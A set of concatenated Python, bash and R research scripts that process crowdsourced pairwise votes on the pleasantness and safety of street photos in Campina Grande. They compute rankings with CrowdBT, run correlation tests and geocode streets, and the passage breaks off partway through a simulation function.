#plt.pie(sizes, explode=explode, labels=labels, colors=colors,
# autopct='%1.1f%%', shadow=True)
# Set aspect ratio to be equal so that pie is drawn as a circle.
#plt.axis('equal')
#plt.show()
#plt.savefig(pp, format='pdf')
def countSummary(profileInfo):
global vazio
if len(profileInfo) > 0:
#Extracting profile
userProfileData = profileInfo.split("+")
age = userProfileData[0]
sex = userProfileData[1]
currentClass = userProfileData[2]
educ = userProfileData[3]
city = userProfileData[4]
time = userProfileData[5]
rel = userProfileData[6]
neig = userProfileData[7]
neig = neig[0:len(neig)]
#Saving occurrences of profiles
if age in userAge.keys():
userAge[age] = userAge[age] + 1
else:
userAge[age] = 1
if sex in userSex.keys():
userSex[sex] = userSex[sex] + 1
else:
userSex[sex] = 1
if currentClass in userClass.keys():
userClass[currentClass] = userClass[currentClass] + 1
else:
userClass[currentClass] = 1
if educ in userEduc.keys():
userEduc[educ] = userEduc[educ] + 1
else:
userEduc[educ] = 1
if city in userCity.keys():
userCity[city] = userCity[city] + 1
else:
userCity[city] = 1
if time in userTime.keys():
userTime[time] = userTime[time] + 1
else:
userTime[time] = 1
if rel in userRel.keys():
userRel[rel] = userRel[rel] + 1
else:
userRel[rel] = 1
if neig in userNeig.keys():
userNeig[neig] = userNeig[neig] + 1
else:
userNeig[neig] = 1
if 'cen' in neig.lower():
if 'cen' in userNeig.keys():
userNeig['cen'] = userNeig['cen'] + 1
else:
userNeig['cen'] = 1
if 'lib' in neig.lower():
if 'lib' in userNeig.keys():
userNeig['lib'] = userNeig['lib'] + 1
else:
userNeig['lib'] = 1
if 'cat' in neig.lower():
if 'cat' in userNeig.keys():
userNeig['cat'] = userNeig['cat'] + 1
else:
userNeig['cat'] = 1
if len(neig) == 0:
vazio += 1
def writeOutput(usersTasks):
outputFile = open("usersInfo.dat", "w")
answeredProfile = 0
nAnsweredProfile = 0
usersIDNAnsweredProfile = []
finishTimeNAnswered = []
#Writing users profile and tasks executed
for userID in usersTasks.keys():
userData = usersTasks[userID]
outputFile.write(userID+"|"+str(userData[0])+"|"+str(userData[1])+"|"+str(userData[2])+"|"+str(userData[3])+"|"+str(userData[4])+"\n")
countSummary(userData[0])
if len(userData[0]) > 0:
answeredProfile += 1
else:
nAnsweredProfile += 1
usersIDNAnsweredProfile.append(userID)
finishTimeNAnswered.append(userData[5])
outputFile.close()
#Writing profile summary
outputFile = open("usersInfoSummary.dat", "w")
outputFile.write("Answered\t" + str(answeredProfile) + "\t" + str(nAnsweredProfile) + "\t" + str(answeredProfile*1.0/(answeredProfile+nAnsweredProfile)) + "\t" + str(nAnsweredProfile*1.0/(answeredProfile+nAnsweredProfile)) + "\n")
outputFile.write(str(userAge)+"\n")
outputFile.write(str(userSex)+"\n")
outputFile.write(str(userClass)+"\n")
outputFile.write(str(userEduc)+"\n")
outputFile.write(str(userCity)+"\n")
outputFile.write(str(userTime)+"\n")
outputFile.write(str(userRel)+"\n")
outputFile.write(str(userNeig)+"\n")
outputFile.close()
plotSummary()
#Writing tasks definition
outputFile = open("tasksDefinition.dat", "w")
for taskID in tasksIDDefinition.keys():
outputFile.write(taskID+"\t"+tasksIDDefinition[taskID]+"\n")
outputFile.close()
#Writing photos evaluated by user
outputFile = open("usersPhotosAgrad.dat", "w")
for userID in photosAnsweredPerQuestion[possibleQuestions[0]].keys():
for photo in photosAnsweredPerQuestion[possibleQuestions[0]][userID]:
outputFile.write(userID+"\t"+photo+"\n")
outputFile.close()
#Writing photos evaluated by user
outputFile = open("usersPhotosSeg.dat", "w")
for userID in photosAnsweredPerQuestion[possibleQuestions[1]].keys():
for photo in photosAnsweredPerQuestion[possibleQuestions[1]][userID]:
outputFile.write(userID+"\t"+photo+"\n")
outputFile.close()
#Writing users that did not answered profile
outputFile = open("usersNAnswered.dat", "w")
usersProfileFile = open("users.csv", "r")
usersProfile = usersProfileFile.readlines()
for index in range(0, len(usersIDNAnsweredProfile)):
userID = usersIDNAnsweredProfile[index]
for profile in usersProfile:
data = profile.split(",")
if data[0].strip() == userID:
outputFile.write(userID+"\t"+data[2]+"\t"+str(finishTimeNAnswered[index])+"\n")
outputFile.close()
usersProfileFile.close()
def readUserData(lines, outputFileName):
""" Reading user profile """
usersTasks = {}
firstDate = datetime.date(1970, 6, 24)
#Reading from pybossa task-run CSV
for line in lines:
data = line.split("+")
taskID = data[3]
userID = data[4]
timeInfo = data[6].split("T")[0].split("-")#2015-02-17T18:19:52.589591
finish_time = datetime.date(int(timeInfo[0]), int(timeInfo[1]), int(timeInfo[2]))
userAnswer = data[9].strip(' \t\n\r"')
if userID in usersTasks.keys():
userExecutions = usersTasks[userID]
else:
userExecutions = ["", [], [], [], [], firstDate]#Tasks for Agradavel e Seguro and their respective answers
#In user answers that contain profile information extract profile
if userAnswer[0] == '{':
index = userAnswer.find("}")
if index == -1:
raise Exception("Line with profile does not contain final delimiter: " + userAnswer)
currentAnswer = userAnswer[0:index+1]
#Extracting profile
userProfileData = currentAnswer.split("|")
age = userProfileData[0].split("=")[1]
sex = userProfileData[1].split("=")[1]
currentClass = userProfileData[2].split("=")[1]
educ = userProfileData[3].split("=")[1]
city = userProfileData[4].split("=")[1]
time = userProfileData[5].split("=")[1]
rel = userProfileData[6].split("=")[1]
neig = userProfileData[7].split("=")[1]
neig = neig[0:len(neig)-1]
userExecutions[0] = age+"+"+sex+"+"+currentClass+"+"+educ+"+"+city+"+"+time+"+"+rel+"+"+neig
#Saving photos that user evaluated
index = userAnswer.find("Qual")
userAnswer = userAnswer[index:].split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1 = userAnswer[7].strip(' \t\n\r"')
photo2 = userAnswer[8].strip(' \t\n\r"')
if userID in photosAnsweredPerQuestion[question].keys():
photos = photosAnsweredPerQuestion[question][userID]
else:
photos = Set([])
photos.add(photo1)
photos.add(photo2)
photosAnsweredPerQuestion[question][userID] = photos
#Saving user answer near task ID
if question == possibleQuestions[0]:#Agra
userExecutions[1].append(taskID)
userExecutions[3].append(answer)
elif question == possibleQuestions[1]:#Seg
userExecutions[2].append(taskID)
userExecutions[4].append(answer)
else:
print "Error! " + question
if finish_time > userExecutions[5]:
userExecutions[5] = finish_time
#Saving task ID definition
tasksIDDefinition[taskID] = photo1+"\t"+photo2
usersTasks[userID] = userExecutions
return usersTasks
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com execucoes das tarefas e perfis dos usuarios>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
lines = dataFile.readlines()
usersTasks = readUserData(lines, "users.dat")
writeOutput(usersTasks)
dataFile.close()
<file_sep>#!/bin/bash
python analisaQScore.py runAdulto.csv 1000
mv first.dat firstAdulto.dat
mv all.dat allAdulto.dat
python analisaQScore.py runJovem.csv 1000
mv first.dat firstJovem.dat
mv all.dat allJovem.dat
python analisaQScore.py runSolteiro.csv 1000
mv first.dat firstSolteiro.dat
mv all.dat allSolteiro.dat
python analisaQScore.py runCasado.csv 1000
mv first.dat firstCasado.dat
mv all.dat allCasado.dat
python analisaQScore.py runMedia.csv 1000
mv first.dat firstMedia.dat
mv all.dat allMedia.dat
python analisaQScore.py runBaixa.csv 1000
mv first.dat firstBaixa.dat
mv all.dat allBaixa.dat
python analisaQScore.py runFeminino.csv 1000
mv first.dat firstFeminino.dat
mv all.dat allFeminino.dat
python analisaQScore.py runMasculino.csv 1000
mv first.dat firstMasculino.dat
mv all.dat allMasculino.dat
python analisaQScore.py runCatole.csv 1000
mv first.dat firstCatole.dat
mv all.dat allCatole.dat
python analisaQScore.py runCentro.csv 1000
mv first.dat firstCentro.dat
mv all.dat allCentro.dat
python analisaQScore.py runLiberdade.csv 1000
mv first.dat firstLiberdade.dat
mv all.dat allLiberdade.dat
python analisaQScore.py runNotCatole.csv 1000
mv first.dat firstNotCatole.dat
mv all.dat allNotCatole.dat
python analisaQScore.py runNotCentro.csv 1000
mv first.dat firstNotCentro.dat
mv all.dat allNotCentro.dat
python analisaQScore.py runNotLiberdade.csv 1000
mv first.dat firstNotLiberdade.dat
mv all.dat allNotLiberdade.dat
sort -k 3 -r first_vote.dat > first_vote_ordenado.dat
sort -k 3 -r firstMedia.dat > firsMediaOrd.dat
sort -k 3 -r firstBaixa.dat > firsBaixaOrd.dat
sort -k 3 -r firstSolteiro.dat > firsSolteiroOrd.dat
sort -k 3 -r firstCasado.dat > firsCasadoOrd.dat
sort -k 3 -r firstFeminino.dat > firsFemininoOrd.dat
sort -k 3 -r firstMasculino.dat > firsMasculinoOrd.dat
sort -k 3 -r firstJovem.dat > firsJovemOrd.dat
sort -k 3 -r firstCatole.dat > firsCatoleOrd.dat
sort -k 3 -r firstCentro.dat > firsCentroOrd.dat
sort -k 3 -r firstLiberdade.dat > firsLiberdadeOrd.dat
sort -k 3 -r firstNotCatole.dat > firsNotCatoleOrd.dat
sort -k 3 -r firstNotCentro.dat > firsNotCentroOrd.dat
sort -k 3 -r firstNotLiberdade.dat > firsNotLiberdadeOrd.dat
sort -k 3 -r allMedia.dat > allMediaOrd.dat
sort -k 3 -r allBaixa.dat > allBaixaOrd.dat
sort -k 3 -r allSolteiro.dat > allSolteiroOrd.dat
sort -k 3 -r allCasado.dat > allCasadoOrd.dat
sort -k 3 -r allFeminino.dat > allFemininoOrd.dat
sort -k 3 -r allMasculino.dat > allMasculinoOrd.dat
sort -k 3 -r allJovem.dat > allJovemOrd.dat
sort -k 3 -r allCatole.dat > allCatoleOrd.dat
sort -k 3 -r allCentro.dat > allCentroOrd.dat
sort -k 3 -r allLiberdade.dat > allLiberdadeOrd.dat
sort -k 3 -r allNotCatole.dat > allNotCatoleOrd.dat
sort -k 3 -r allNotCentro.dat > allNotCentroOrd.dat
sort -k 3 -r allNotLiberdade.dat > allNotLiberdadeOrd.dat
<file_sep># coding=utf-8
# Prepares a HTML page the top and bottom 5 for regression residuals between groups
import sys
from sets import Set
def completeURL(photo):
if 'liberdade' in photo or 'catole' in photo:
return "https://contribua.org/bairros/oeste/"+photo
else:
return "https://contribua.org/bairros/norte/"+photo
if __name__ == "__main__":
if len(sys.argv) < 3:
print "Uso: <arquivo com fotos e residuos> <questao>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
question = sys.argv[2]
outputFile = open("topbot5.html", 'w')
linesQScore = dataFile.readlines()
header = linesQScore[0].split("\t")
group1 = header[1]
group2 = header[2]
outputFile.write("<body style=\"overflow:scroll\">\n");
outputFile.write("<h2>"+question + " " + group1 + " " + group2 +"</h2>")
outputFile.write("<table>\n")
outputFile.write("<tr>\n")
counter = 0
#Reading photos information
for line in linesQScore[1:]:
data = line.split("\t")
print data
question = data[0].strip(' \t\n\r')
photoInfo = data[1].strip('\"\t\n\r')
photo = completeURL(photoInfo)
qscoreG1 = data[2].strip(' \t\n\r')
qscoreG2 = data[3].strip(' \t\n\r')
residual = data[4].strip(' \t\n\r')
outputFile.write("<td><img src=\""+photo+"\" width=\"400\" height=\"300\"></td>\n")
outputFile.write("<td>"+photoInfo + " " + qscoreG1 + " " + qscoreG2 + " " + residual +"</td>\n")
counter += 1
if counter % 3 == 0:
outputFile.write("</tr>\n")
outputFile.write("<tr>\n")
outputFile.write("</tr>\n")
outputFile.write("</table>")
outputFile.write("</body>\n");
<file_sep>#!/bin/Rscript
# Analyses QScore versus color and amount of lines using Spearman and Kendall
calculateTests <- function(file1, file2, shouldPlot=FALSE) {
dataAgrad <<- read.table(file1, header=TRUE)
print("Agradável")
#Spearman, analise do rho > 0,90 a 1,0 indica correlação muito forte; +- 0,70 a +- 0,90 indica correlação forte; +- 0,50 a +- 0,70 moderada
print("Spearman red (p.value rho)")
res <- cor.test(dataAgrad$qscore, dataAgrad$red, method="spearman")
print(paste(res$p.value, " ", res$estimate))
print("Spearman green")
res <- cor.test(dataAgrad$qscore, dataAgrad$green, method="spearman")
print(paste(res$p.value, " ", res$estimate))
print("Spearman blue")
res <- cor.test(dataAgrad$qscore, dataAgrad$blue, method="spearman")
print(paste(res$p.value, " ", res$estimate))
print("Spearman diag")
res <- cor.test(dataAgrad$qscore, dataAgrad$diag, method="spearman")
print(paste(res$p.value, " ", res$estimate))
print("Spearman hor")
res <- cor.test(dataAgrad$qscore, dataAgrad$hor, method="spearman")
print(paste(res$p.value, " ", res$estimate))
print("Spearman ver")
res <- cor.test(dataAgrad$qscore, dataAgrad$ver, method="spearman")
print(paste(res$p.value, " ", res$estimate))
print("Kendall red")
res <- cor.test(dataAgrad$qscore, dataAgrad$red, method="kendall")
print(paste(res$p.value, " ", res$estimate))
print("Kendall green")
res <- cor.test(dataAgrad$qscore, dataAgrad$green, method="kendall")
print(paste(res$p.value, " ", res$estimate))
print("Kendall blue")
res <- cor.test(dataAgrad$qscore, dataAgrad$blue, method="kendall")
print(paste(res$p.value, " ", res$estimate))
print("Kendall diag")
res <- cor.test(dataAgrad$qscore, dataAgrad$diag, method="kendall")
print(paste(res$p.value, " ", res$estimate))
print("Kendall hor")
res <- cor.test(dataAgrad$qscore, dataAgrad$hor, method="kendall")
print(paste(res$p.value, " ", res$estimate))
print("Kendall ver")
res <- cor.test(dataAgrad$qscore, dataAgrad$ver, method="kendall")
print(paste(res$p.value, " ", res$estimate))
if (shouldPlot){
pdf(file=paste(file1, "histAgrad", ".pdf"), paper="special")
par(mfrow = c(4,2))
hist(dataAgrad$qscore, prob=TRUE, main="QScore")
hist(dataAgrad$red, prob=TRUE, main="Red")
hist(dataAgrad$green, prob=TRUE, main="Green")
hist(dataAgrad$blue, prob=TRUE, main="Blue")
hist(dataAgrad$diag, prob=TRUE, main="Diag")
hist(dataAgrad$hor, prob=TRUE, main="Hor")
hist(dataAgrad$ver, prob=TRUE, main="Ver")
pdf(file=paste(file1,"boxAgrad", ".pdf"), paper="special")
#par(mfrow = c(4,2))
boxplot(dataAgrad$qscore, prob=TRUE, main=paste("QScore ", file1))
#boxplot(dataAgrad$red, prob=TRUE, main="Red")
#boxplot(dataAgrad$green, prob=TRUE, main="Green")
#boxplot(dataAgrad$blue, prob=TRUE, main="Blue")
#boxplot(dataAgrad$diag, prob=TRUE, main="Diag")
#boxplot(dataAgrad$hor, prob=TRUE, main="Hor")
#boxplot(dataAgrad$ver, prob=TRUE, main="Ver")
pdf(file=paste(file1, "qqplotsAgrad", ".pdf"), paper="special")
par(mfrow = c(4,2))
qqnorm(dataAgrad$qscore, main="QScore");qqline(dataAgrad$qscore)
qqnorm(dataAgrad$red, main="Red");qqline(dataAgrad$red)
qqnorm(dataAgrad$green, main="Green");qqline(dataAgrad$green)
qqnorm(dataAgrad$blue, main="Blue");qqline(dataAgrad$blue)
qqnorm(dataAgrad$diag, main="Diag");qqline(dataAgrad$diag)
qqnorm(dataAgrad$hor, main="Hor");qqline(dataAgrad$hor)
qqnorm(dataAgrad$ver, main="Ver");qqline(dataAgrad$ver)
pdf(file=paste(file1, "plotsAgrad", ".pdf"), paper="special")
par(mfrow = c(3,2))
plot(dataAgrad$red, dataAgrad$qscore, main="Red")
plot(dataAgrad$green, dataAgrad$qscore, main="Green")
plot(dataAgrad$blue, dataAgrad$qscore, main="Blue")
plot(dataAgrad$diag, dataAgrad$qscore, main="Diag")
plot(dataAgrad$hor, dataAgrad$qscore, main="Hor")
plot(dataAgrad$ver, dataAgrad$qscore, main="Ver")
dev.off()
}
#Segurança
dataSeg <<- read.table(file2, header=TRUE)
print("Segurança")
#Spearman, analise do rho > 0,90 a 1,0 indica correlação muito forte; +- 0,70 a +- 0,90 indica correlação forte; +- 0,50 a +- 0,70 moderada
print("Spearman red (p.value rho)")
res <- cor.test(dataSeg$qscore, dataSeg$red, method="spearman")
print(paste(res$p.value, " ", res$estimate))
print("Spearman green")
res <- cor.test(dataSeg$qscore, dataSeg$green, method="spearman")
print(paste(res$p.value, " ", res$estimate))
print("Spearman blue")
res <- cor.test(dataSeg$qscore, dataSeg$blue, method="spearman")
print(paste(res$p.value, " ", res$estimate))
print("Spearman diag")
res <- cor.test(dataSeg$qscore, dataSeg$diag, method="spearman")
print(paste(res$p.value, " ", res$estimate))
print("Spearman hor")
res <- cor.test(dataSeg$qscore, dataSeg$hor, method="spearman")
print(paste(res$p.value, " ", res$estimate))
print("Spearman ver")
res <- cor.test(dataSeg$qscore, dataSeg$ver, method="spearman")
print(paste(res$p.value, " ", res$estimate))
print("Kendall red")
res <- cor.test(dataSeg$qscore, dataSeg$red, method="kendall")
print(paste(res$p.value, " ", res$estimate))
print("Kendall green")
res <- cor.test(dataSeg$qscore, dataSeg$green, method="kendall")
print(paste(res$p.value, " ", res$estimate))
print("Kendall blue")
res <- cor.test(dataSeg$qscore, dataSeg$blue, method="kendall")
print(paste(res$p.value, " ", res$estimate))
print("Kendall diag")
res <- cor.test(dataSeg$qscore, dataSeg$diag, method="kendall")
print(paste(res$p.value, " ", res$estimate))
print("Kendall hor")
res <- cor.test(dataSeg$qscore, dataSeg$hor, method="kendall")
print(paste(res$p.value, " ", res$estimate))
print("Kendall ver")
res <- cor.test(dataSeg$qscore, dataSeg$ver, method="kendall")
print(paste(res$p.value, " ", res$estimate))
if (shouldPlot){
pdf(file=paste(file2, "histSeg", ".pdf"), paper="special")
par(mfrow = c(4,2))
hist(dataSeg$qscore, prob=TRUE, main="QScore")
hist(dataSeg$red, prob=TRUE, main="Red")
hist(dataSeg$green, prob=TRUE, main="Green")
hist(dataSeg$blue, prob=TRUE, main="Blue")
hist(dataSeg$diag, prob=TRUE, main="Diag")
hist(dataSeg$hor, prob=TRUE, main="Hor")
hist(dataSeg$ver, prob=TRUE, main="Ver")
pdf(file=paste(file2, "boxSeg", ".pdf"), paper="special")
#par(mfrow = c(4,2))
boxplot(dataSeg$qscore, prob=TRUE, main=paste("QScore ", file2))
#boxplot(dataSeg$red, prob=TRUE, main="Red")
#boxplot(dataSeg$green, prob=TRUE, main="Green")
#boxplot(dataSeg$blue, prob=TRUE, main="Blue")
#boxplot(dataSeg$diag, prob=TRUE, main="Diag")
#boxplot(dataSeg$hor, prob=TRUE, main="Hor")
#boxplot(dataSeg$ver, prob=TRUE, main="Ver")
pdf(file=paste(file2, "qqplotsSeg", ".pdf"), paper="special")
par(mfrow = c(4,2))
qqnorm(dataSeg$qscore, main="QScore");qqline(dataSeg$qscore)
qqnorm(dataSeg$red, main="Red");qqline(dataSeg$red)
qqnorm(dataSeg$green, main="Green");qqline(dataSeg$green)
qqnorm(dataSeg$blue, main="Blue");qqline(dataSeg$blue)
qqnorm(dataSeg$diag, main="Diag");qqline(dataSeg$diag)
qqnorm(dataSeg$hor, main="Hor");qqline(dataSeg$hor)
qqnorm(dataSeg$ver, main="Ver");qqline(dataSeg$ver)
pdf(file=paste(file2, "plotsSeg", ".pdf"), paper="special")
par(mfrow = c(3,2))
plot(dataSeg$red, dataSeg$qscore, main="Red")
plot(dataSeg$green, dataSeg$qscore, main="Green")
plot(dataSeg$blue, dataSeg$qscore, main="Blue")
plot(dataSeg$diag, dataSeg$qscore, main="Diag")
plot(dataSeg$hor, dataSeg$qscore, main="Hor")
plot(dataSeg$ver, dataSeg$qscore, main="Ver")
dev.off()
}
}
args <- commandArgs(trailingOnly = TRUE)
if (length(args) > 1){
file1 <- args[1]
file2 <- args[2]
calculateTests(file1, file2, TRUE)
}
<file_sep>#!/bin/bash
# This script receives a file containing streets and QScores in order to look for the latitude and longitude of each street
if [ $# -lt 1 ]; then
echo "usage: $0 <streets and qscore file>"
exit 1
fi
echo "Chamando python $1"
python extractLatLongStreet.py $1 > streetNames.dat
rm streetsQScoresLatLong.dat
while read line ; do
street=`echo $line | awk -F "+" '{print $2}'`
echo $street
wget "https://maps.googleapis.com/maps/api/geocode/json?address=${street}" -O teste.dat
#, <NAME>
lat=`grep "lat" teste.dat | head -n 1 | awk -F ":" '{print $2}'`
long=`grep "lng" teste.dat | head -n 1 | awk -F ":" '{print $2}'`
echo "$line+$lat+$long" >> streetsQScoresLatLong.dat
done < streetNames.dat
rm streetNames.dat teste.dat
python fixnames.py streetsQScoresLatLong.dat
<file_sep># coding=utf-8
from gavel.models import *
from gavel.constants import *
import gavel.utils as utils
import gavel.crowd_bt as crowd_bt
from gavel.controllers.judge import *
from numpy.random import choice, random, shuffle
from functools import wraps
from datetime import datetime
import sys
import json
import csv
import pandas as pd
import numpy
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
#possible answers
left = 'Left'
right = 'Right'
notKnown = 'NotKnown'
completeTie = 'equal'
debug_file = open("debug.txt", "w")
def readTasksDefinitions(linesTasks):
""" Reading tasks definition for newer version (V2) of Como é Campina App"""
tasksDef = {}
for line in linesTasks:
data = line.split("+")
taskID = data[0].strip(' \t\n\r')
currentDef = json.loads(data[7].strip(' \t\n\r\"'))
tasksDef[taskID] = currentDef
return tasksDef
def evaluateAllVotes(lines, outputFileName, tasksDefinitions):
""" Reading Como é Campina csv run file and building annotators and items to check ranking according to CrowdBT. """
#Create items dict
items_agrad = {}
items_seg = {}
#Create annotators dict
annotators = {}
#Reading from pybossa task-run CSV
for line in lines:
lineData = line.split("+")
executionID = lineData[0].strip(' \t\n\r"')
taskID = lineData[3].strip(' \t\n\r"')
annotatorID = lineData[4].strip(' \t\n\r"')
userAnswer = lineData[9].strip(' \t\n\r"')
#Checking and retrieving annotator
if annotatorID in annotators.keys():
annotator = annotators[annotatorID]
else:
annotator = Annotator(annotatorID, "<EMAIL>", annotatorID)
annotators[annotatorID] = annotator
#It is a new Como e Campina vote, read tasks definition from JSON!
if executionID[0].lower() == 'n':
data = json.loads(userAnswer)
if data['question'].strip(' \t\n\r"') == "agradavel":
question = possibleQuestions[0]
else:
question = possibleQuestions[1]
photo1_name = data['theMost'].strip(' \t\n\r"')
photo2_name = data['theLess'].strip(' \t\n\r"')
is_tie = photo1_name
taskDef = tasksDefinitions[taskID]
photos = set( [taskDef['url_c'].strip(' \t\n\r"'), taskDef['url_b'].strip(' \t\n\r"'), taskDef['url_a'].strip(' \t\n\r"'), taskDef['url_d'].strip(' \t\n\r"')] )
if photo1_name != completeTie:
photos.remove(photo1_name)
photos.remove(photo2_name)
else:
photo1_name = photos.pop()
photo2_name = photos.pop()
photo3_name = photos.pop()
photo4_name = photos.pop()
#Checking and retrieving photos information
if question == possibleQuestions[0]:#Pleasantness
items_map = items_agrad
else:#Safety
items_map = items_seg
if photo1_name in items_map.keys():
photo1 = items_map[photo1_name]
else:
photo1 = Item(photo1_name, "campina grande", photo1_name)
items_map[photo1_name] = photo1
if photo2_name in items_map.keys():
photo2 = items_map[photo2_name]
else:
photo2 = Item(photo2_name, "campina grande", photo2_name)
items_map[photo2_name] = photo2
if photo3_name in items_map.keys():
photo3 = items_map[photo3_name]
else:
photo3 = Item(photo3_name, "<NAME>", photo3_name)
items_map[photo3_name] = photo3
if photo4_name in items_map.keys():
photo4 = items_map[photo4_name]
else:
photo4 = Item(photo4_name, "<NAME>", photo4_name)
items_map[photo4_name] = photo4
#Saving votes from task-run
if is_tie != completeTie:
#Vote 1
annotator.prev = photo1
annotator.next = photo2
perform_vote(annotator, next_won=False)
#decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
#Vote 2
annotator.prev = photo1
annotator.next = photo3
perform_vote(annotator, next_won=False)
#decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
#Vote 3
annotator.prev = photo1
annotator.next = photo4
perform_vote(annotator, next_won=False)
#decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
#Vote 4
annotator.prev = photo2
annotator.next = photo3
perform_vote(annotator, next_won=True)
#decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
#Vote 5
annotator.prev = photo2
annotator.next = photo4
perform_vote(annotator, next_won=True)
#decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
#Vote 6
annotator.prev = photo3
annotator.next = photo4
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
else:
#Vote 1
annotator.prev = photo1
annotator.next = photo2
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
#Vote 2
annotator.prev = photo1
annotator.next = photo3
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
#Vote 3
annotator.prev = photo1
annotator.next = photo4
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
#Vote 4
annotator.prev = photo2
annotator.next = photo3
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
#Vote 5
annotator.prev = photo2
annotator.next = photo4
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
#Vote 6
annotator.prev = photo3
annotator.next = photo4
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
else:#Old-fashioned way of capturing votes
#In user answers that contain profile information, jump to comparison
if userAnswer[0] == '{':
index = userAnswer.find("Qual")
if index == -1:
raise Exception("Line with profile does not contain question: " + userAnswer)
userAnswer = userAnswer[index:].split(" ")
else:
userAnswer = userAnswer.split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1_name = userAnswer[7].strip(' \t\n\r"')
photo2_name = userAnswer[8].strip(' \t\n\r"')
#Checking and retrieving photos information
if question == possibleQuestions[0]:#Pleasantness
items_map = items_agrad
else:#Safety
items_map = items_seg
if photo1_name in items_map.keys():
photo1 = items_map[photo1_name]
else:
photo1 = Item(photo1_name, "campina grande", photo1_name)
items_map[photo1_name] = photo1
if photo2_name in items_map.keys():
photo2 = items_map[photo2_name]
else:
photo2 = Item(photo2_name, "campina grande", photo2_name)
items_map[photo2_name] = photo2
#Saving votes from task-run
annotator.prev = photo1
annotator.next = photo2
if answer == left:
perform_vote(annotator, next_won=False)
#decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
elif answer == right:
perform_vote(annotator, next_won=True)
#decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
elif answer == notKnown:
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
#Output file
output = open(outputFileName, 'w')
for item_name, item in items_agrad.items():
output.write(possibleQuestions[0]+ "\t" + item_name+ "\t" + str(item.mu) + "\t" + str(item.sigma_sq)+'\n')
for item_name, item in items_seg.items():
output.write(possibleQuestions[1]+ "\t" + item_name+ "\t" + str(item.mu) + "\t" + str(item.sigma_sq)+'\n')
output.close()
def extract_all_items(tasks_def):
''' Read all tasks definitions to build Items that represent each image '''
items_map = {}
for task_id in tasks_def.keys():
taskDef = tasks_def[task_id]
photo1_name = taskDef['url_a'].strip(' \t\n\r"')
photo2_name = taskDef['url_b'].strip(' \t\n\r"')
photo3_name = taskDef['url_c'].strip(' \t\n\r"')
photo4_name = taskDef['url_d'].strip(' \t\n\r"')
if photo1_name in items_map.keys():
photo1 = items_map[photo1_name]
else:
photo1 = Item(photo1_name, "campina grande", photo1_name)
items_map[photo1_name] = photo1
if photo2_name in items_map.keys():
photo2 = items_map[photo2_name]
else:
photo2 = Item(photo2_name, "campina grande", photo2_name)
items_map[photo2_name] = photo2
if photo3_name in items_map.keys():
photo3 = items_map[photo3_name]
else:
photo3 = Item(photo3_name, "campina grande", photo3_name)
items_map[photo3_name] = photo3
if photo4_name in items_map.keys():
photo4 = items_map[photo4_name]
else:
photo4 = Item(photo4_name, "campina grande", photo4_name)
items_map[photo4_name] = photo4
return items_map
def simulateCrowdBT(lines, tasks_def, current_question):
''' Perform simulation of CrowdBT task recommendation for each user/annotator '''
items_map = extract_all_items(tasks_def)
#Create annotators dict
annotators = {}
annotators_exec = {}
annotators_already_started = set([])
#linhas = 0
#lines_counter = 0
#votes_entered = 0
# prev_ann_size = 0
# ann_size = 0
#Building a dict, for each annotator, of photos compared and their answers
for line in lines:
#ann_size = 0
lineData = line.split("+")
executionID = lineData[0].strip(' \t\n\r"')
taskID = lineData[3].strip(' \t\n\r"')
annotatorID = "10"#lineData[4].strip(' \t\n\r"') #Simulating a unique annotator!
userAnswer = lineData[9].strip(' \t\n\r"')
#It is a new Como e Campina vote, read tasks definition from JSON!
if executionID[0].lower() == 'n':
data = json.loads(userAnswer)
if "agrad" in data['question'].strip(' \t\n\r"'):
question = possibleQuestions[0]
else:
question = possibleQuestions[1]
if current_question == question:
#lines_counter = lines_counter + 1
#Checking and retrieving annotator
if annotatorID in annotators.keys():
annotator = annotators[annotatorID]
else:
annotator = Annotator(annotatorID, "<EMAIL>", annotatorID)
annotators[annotatorID] = annotator
photo1_name = data['theMost'].strip(' \t\n\r"')
photo2_name = data['theLess'].strip(' \t\n\r"')
is_tie = photo1_name
taskDef = tasks_def[taskID]
photos = set( [taskDef['url_c'].strip(' \t\n\r"'), taskDef['url_b'].strip(' \t\n\r"'), taskDef['url_a'].strip(' \t\n\r"'), taskDef['url_d'].strip(' \t\n\r"')] )
if photo1_name != completeTie:
photos.remove(photo1_name)
photos.remove(photo2_name)
else:
photo1_name = photos.pop()
photo2_name = photos.pop()
photo3_name = photos.pop()
photo4_name = photos.pop()
if annotatorID not in annotators_already_started:#Suppose annotator start with photo1 and photo2
#Simulating that these first two photos were recommended
photo1 = items_map[photo1_name]
photo2 = items_map[photo2_name]
annotator.update_next(photo1)
annotator.prev = annotator.next
annotator.update_next(photo2)
annotators_already_started.add(annotatorID)
if annotatorID in annotators_exec:
annotator_data = annotators_exec[annotatorID]
else:
annotator_data = {}
#Saving votes from task-run
